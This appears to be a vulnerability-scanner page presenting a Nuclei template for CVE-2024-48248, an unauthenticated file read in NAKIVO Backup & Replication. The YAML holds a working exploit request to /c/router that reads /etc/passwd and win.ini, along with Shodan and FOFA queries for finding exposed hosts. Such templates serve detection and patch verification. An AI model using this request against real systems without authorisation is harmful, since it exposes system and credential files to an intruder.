NAKIVO Backup and Replication Solution - Unauthenticated Arbitrary File Read

ID: CVE-2024-48248

Severity: high

Author: DhiyaneshDK

Tags: cve,cve2024,nakivo,backup,lfi

Description

NAKIVO Backup & Replication is a data protection solution used for backing up and restoring virtualized and physical environments. A vulnerability has been identified in certain versions of NAKIVO Backup & Replication that allows an unauthenticated attacker to read arbitrary files on the underlying system.

YAML Source

id: CVE-2024-48248

info:
  name: NAKIVO Backup and Replication Solution - Unauthenticated Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    NAKIVO Backup & Replication is a data protection solution used for backing up and restoring virtualized and physical environments. A vulnerability has been identified in certain versions of NAKIVO Backup & Replication that allows an unauthenticated attacker to read arbitrary files on the underlying system.
  reference:
    - https://labs.watchtowr.com/the-best-security-is-when-we-all-agree-to-keep-everything-secret-except-the-secrets-nakivo-backup-replication-cve-2024-48248/
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"NAKIVO"
    fofa-query: title="NAKIVO"
  tags: cve,cve2024,nakivo,backup,lfi

variables:
  string: "{{to_lower(rand_base(5))}}"

http:
  - raw:
      - |
        POST /c/router HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: */*
        Connection: keep-alive
        Content-Type: application/json

        {"action": "STPreLoadManagement", "data": ["{{path}}"], "method": "getImageByPath", "sid": "", "tid": "{{string}}", "type": "{{string}}"}

    payloads:
      path:
        - /etc/passwd
        - C:/windows/win.ini

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        name: linux
        dsl:
          - "regex('114,111,111,116,58,.*,58,48,58,48,58', body)"
          - "contains(body, 'STPreLoadManagement')"
          - "status_code == 200"
        condition: and

      - type: dsl
        name: windows
        dsl:
          - "contains(body, '59,32,102,111,114')"
          - "contains(body, 'STPreLoadManagement')"
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502207bea0f5071c0f1b251a9b15b2b91dc21aa28142074b789068f4038991034d6fb022100e1521477e6cb2c7033351baca3151ff644a9a6d7bd9c6b3b9c0e7afc5e086633:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-48248.yaml"

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